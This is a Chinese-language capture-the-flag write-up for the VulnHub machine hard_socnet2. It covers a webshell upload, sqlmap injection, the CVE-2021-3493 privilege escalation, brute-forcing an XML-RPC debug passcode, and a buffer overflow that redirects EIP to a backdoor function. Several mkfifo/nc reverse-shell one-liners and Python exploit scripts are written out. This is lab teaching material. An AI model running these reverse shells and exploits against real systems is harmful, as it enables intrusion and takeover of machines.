hard_socnet靶机(vulnhub)

hard_socnet靶机(vulnhub)

这个靶机的难度很高。慢慢摸索,接触新知识。

首先这个靶机是2020 年的,我们如今2022年,2021出现了新的内核漏洞,CVE-2021-3493,我们这里可以利用,也成功了,但是,如果我们就在2020做此靶机怎么办呢?这里分享了两种打靶思路。

https://download.vulnhub.com/boredhackerblog/hard_socnet2.ova

靶场链接:链接:https://pan.baidu.com/s/1HaAn_3cF-vFCgnoQ1IC75Q
提取码:ifat

方法1:

1.主机发现

arp-scan -l

hard_socnet靶机(vulnhub)

2.端口扫描

hard_socnet靶机(vulnhub)

3.漏洞利用
hard_socnet靶机(vulnhub)

显示的是不支持GET请求,那就去抓包重发尝试:OPTIONS,POST,PUT,DELETE,返回的都是500报错。没有思路了。访问80端口:一个登录框。登录需要正确的电子邮箱,显然爆破很难,但是提供了注册,那么就注册。登陆后这样的界面(不建议大家尝试XSS漏洞,可能会被烦到)

知道了存在python脚本,那么存在python的运行环境

hard_socnet靶机(vulnhub)

个人中心存在上传点:

hard_socnet靶机(vulnhub)

直接尝试上传php一句话木马。上传成功直接拉图片能看到图片地址,蚁剑连接就行,可以打开虚拟终端。

还有一个漏洞,面对网站的搜索栏,尝试输入点,直接出来了sql的回显,直接上sqlmap梭哈:

​
python sqlmap.py -u "http://192.168.56.104/search.php?location=emails&query=1"
​

 

hard_socnet靶机(vulnhub)

 

hard_socnet靶机(vulnhub)

拿密码去登录:登陆上但是没有任何用。SQL注入得到的密码可以保留。可能用得到。

4.提权

查看系统版本: lsb_release -a

hard_socnet靶机(vulnhub)

直接拿最新漏洞去尝试,这里找文件半天,就是不想去网上直接下载。。。这是在kali的位置

find / -name "CVE-2021-3493" 2>/dev/null
/usr/share/metasploit-framework/data/exploits/CVE-2021-3493

GitHub下载地址:GitHub – briskets/CVE-2021-3493: Ubuntu OverlayFS Local Privesc

上传文件:

hard_socnet靶机(vulnhub)

虚拟终端操作一下:这里出来了bash-4.4# 他应该是成功了,但是不知道为什么被关闭了。可能是蚁剑的功能不够齐全。

hard_socnet靶机(vulnhub)

nc 反弹shell试试:没有nc的参数,这里可以使用nc串联。

推荐大家看下这个博客,很详细的内容反弹Shell原理及检测技术研究 – 郑瀚Andrew.Hann – 博客园

这段命令的意思是:利用操作系统的命令--mkfio,实现先进先出的堆栈的效果。
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.102 3344 >/tmp/f

反弹shell后在执行exp:

hard_socnet靶机(vulnhub)

另外一种方法:

回到www权限,再寻找线索。cat /etc/passwd

hard_socnet靶机(vulnhub)

cd /home
cd socnet
ls -l  发现monitor.py 和网站内容提到的一致,具有监视服务器的作用

 

hard_socnet靶机(vulnhub)

并且文字说明已经运行了,

ps aux | grep monitor   查看一下

这里的文件有个peda  它是动态调试,可能存在溢出漏洞,比如说:缓冲区溢出,堆溢出,是GDB的一种插件

作用有:增强gdb的显示:在调试过程中着色并显示反汇编代码,寄存器和内存信息。增强GDB调试能力

分析源码,获得用户shell

查看monitor.py的源码:直接分析代码,下面链接介绍了XMLRPC的作用

#my remote server management API
import SimpleXMLRPCServer  --引入的服务
import subprocess
import random               --随机数
debugging_pass = random.randint(1000,9999)   --随机生成1000-9999
def runcmd(cmd):
    results = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
    output = results.stdout.read() + results.stderr.read()
    return output
def cpu():
    return runcmd("cat /proc/cpuinfo")
def mem():
    return runcmd("free -m")
def disk():
    return runcmd("df -h")
def net():
    return runcmd("ip a")
**def secure_cmd(cmd,passcode):  -- 定义secure_cmd函数,调用了cmd和passcode
    if passcode==debugging_pass:   --注意这里,是否等于之前那个1000-9999随机数
         return runcmd(cmd)
    else:
        return "Wrong passcode."**
**server = SimpleXMLRPCServer.SimpleXMLRPCServer(("0.0.0.0", 8000))
  导致之前对目标靶机web访问请求方式的失败原因,只接受xml_rpc方式。**
server.register_function(cpu)
server.register_function(mem)
server.register_function(disk)
server.register_function(net)
server.register_function(secure_cmd)
server.serve_forever()

xml-rpc在服务器端中生成一个API接口,这样服务端就可以接受来自装有xml-rpc客户端的请求方式,来提供应用交互。这里是他的介绍

 

hard_socnet靶机(vulnhub)

hard_socnet靶机(vulnhub)

构造出一个客户端代码:目的是爆破出debugpass

import xmlrpc.client
with xmlrpc.client.ServerProxy("http://192.168.56.104:8000/") as proxy:
    for i in range(1000,10000):
      r = str(proxy.secure_cmd('whoami',i))   #执行secure_cmd这函数,
      if not "Wrong" in r:
      print(p)
      print(r)
      break;

破解出了一个随机的4位数,当目标系统执行7258的数值,就会成功执行whoami的这条命令–返回的目标靶机的当前用户名,将这个7258这个值复制下来

hard_socnet靶机(vulnhub)

然后利用这个值去执行cmd命令。别忘记kali 的监听:构造代码执行cmd,执行成功获得shell,这是socnet用户的shell

import xmlrpc.client
with xmlrpc.client.ServerProxy("http://192.168.56.104:8000/") as proxy:
    cmd = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.102 4455 >/tmp/f"
    r = str(proxy.secure_cmd(cmd,7258))
    print(r)

简化版本代码

import xmlrpc.client
import random
while True:
    word = random.randint(1000,9999)
    with xmlrpc.client.ServerProxy("http://192.168.56.104:8000/") as proxy:
        res = str(proxy.secure_cmd('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.102 4455 >/tmp/f',word))

缓冲区溢出漏洞利用

web漏洞原理:都是通过输入数据等,从而使服务器程序在处理的时候出现异常情况。

那么对add_record程序的漏洞发现利用。看看文件类型:ELF文件格式可以理解成类似windows下PE的文件格式

hard_socnet靶机(vulnhub)

经过 ls -l判断 add_record 文件存在root权限使用。

测试完使用方法后:使用gdb可以知道程序的使用的具体信息

gdb -q ./add_record     peda是其脚本
输入r   程序运行

**这里的测试方法:**主要是对每一项输入大量的字母,AAAAAAAA,监视内存的变化。测试思路:大量数据测试缓冲区溢出的漏洞

使用脚本输出要测试的数值:python -c "print('A' * 500)"

 

hard_socnet靶机(vulnhub)

就这样尝试,发现在备注的地方出现了溢出问题。之后的思路:找到出现溢出的位置,在该位置处输入自己的payload,反弹shell,获得权限。

请初学者尤为注意EIP寄存器(保存了CPU运行下一条指定放置的内存编号)。

hard_socnet靶机(vulnhub)

100个A依旧会溢出,那么采用gdb的调试器生成特征字符。

pattern create 100
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2A**AHAA**dAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
找到了之后看着很麻烦,使用gdb的功能
pattern search     #看到了是62以后的溢出

 

hard_socnet靶机(vulnhub)

hard_socnet靶机(vulnhub)

EIP这里的数字0x41414141,代表的就是X,是ascii码的X

之后查看add程序的主程序加载信息

这就需要汇编的基础了:简单了解就是一个程序在执行中,CPU会给其分配很多内存地址,内存地址中携带了很多指令,程序的处理等,最后再将运算结果输出。

hard_socnet靶机(vulnhub)

根据程序运行的各类逻辑提示,这里需要利用“下断点”的方式去了解程序的内部运作,说的直接一些,断点的意思就是程序到这个点的时候停止,不需要下一步运行。

fopen@plt(被调用的一个系统函数)是猜测是打开文本文件的意思
put,其作用是输出,配合Printf内建函数进行打印输出。

 

hard_socnet靶机(vulnhub)

一步一步分析:

fopen@plt    应该是打开文件把东西保存进去
printf@plt   把文件写入
那就使用断点功能判断一下功能都是什么
**断点调试:选中前面的内存地址,赋值
break * 内存地址
run
s 单步向前只进行对一个cpu的指令
**然后del 1 删除这个断点信息。再重复尝试

 

hard_socnet靶机(vulnhub)

hard_socnet靶机(vulnhub)

继续往后看:发现了vuln

hard_socnet靶机(vulnhub)

执行info func:查看程序的内建函数,存在system和setuid,vuln,backdoor

执行disas vuln:具体查看函数,发现了strcpy函数,这里可能存在漏洞。直接搜索。

 

hard_socnet靶机(vulnhub)

 

hard_socnet靶机(vulnhub)

分析后漏洞利用(原理)

分析到这里,我们已经想好了具体的思路:vuln必定会执行,而且vuln存在有缓冲区漏洞的内件(strcpy),主函数没有直接调用backdoor,,所以利用这个缓冲区溢出漏洞,向EIP寄存器里写入backdoor函数的起始内存加载地址。。从而通过漏洞执行backdoor函数,利用backdoor会调用setuid以及system,;进而执行system函数的操作系统的命令。

hard_socnet靶机(vulnhub)

分析地址问题:发现了内存地址十六进制数据的规律,他是ascii编码,但是倒着写了。CPU架构(大头,小头导致的)。所以我们构造的代码需要倒着写才能执行。

hard_socnet靶机(vulnhub)

hard_socnet靶机(vulnhub)

backdoor的起始地址:0x08048676

python -c "import struct; print('mnb\n1\n1\n1\n' +'A'*62+str( struct.pack('I',0x08048676)))">payload

小插曲:本地测试代码执行报错:TypeError: can only concatenate str (not "bytes") to str

通过struct.pack后的格式是unsigned char,两边字符的格式不一致,导致不能用“+”进行拼接。解决方法:1、将 struct.pack(‘B’, s)替换为str(struct.pack(‘B’, s)),完成字符串拼接

在靶机的shell中输入命令,

先退出gdb,按下q即可:
执行python命令
进入gdb -q ./add_record
r < pauload    然后可以看到新增了几个进程
定位,设断点看原理:
然后定位vuln的运行break vuln
r < payload
单步s跟进
重点关注堆栈和寄存器里的值
需要多次单步跟进s ,直到在堆栈中发现backdoor函数,调用了setuid
直到下图能看到system函数被调用。

 

hard_socnet靶机(vulnhub)

最后,利用payload来触发漏洞,返回root权限

cat payload – | ./add_record payload – | #这里的 – 代表所有数据 | 把所有数据带到程序执行

hard_socnet靶机(vulnhub)

最后就是root权限,还是可以nc反弹shell。

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.208 3031 >/tmp/f

hard_socnet靶机(vulnhub)

                       

点击阅读全文

上一篇 2023年 6月 6日 am10:14
下一篇 2023年 6月 6日 am10:15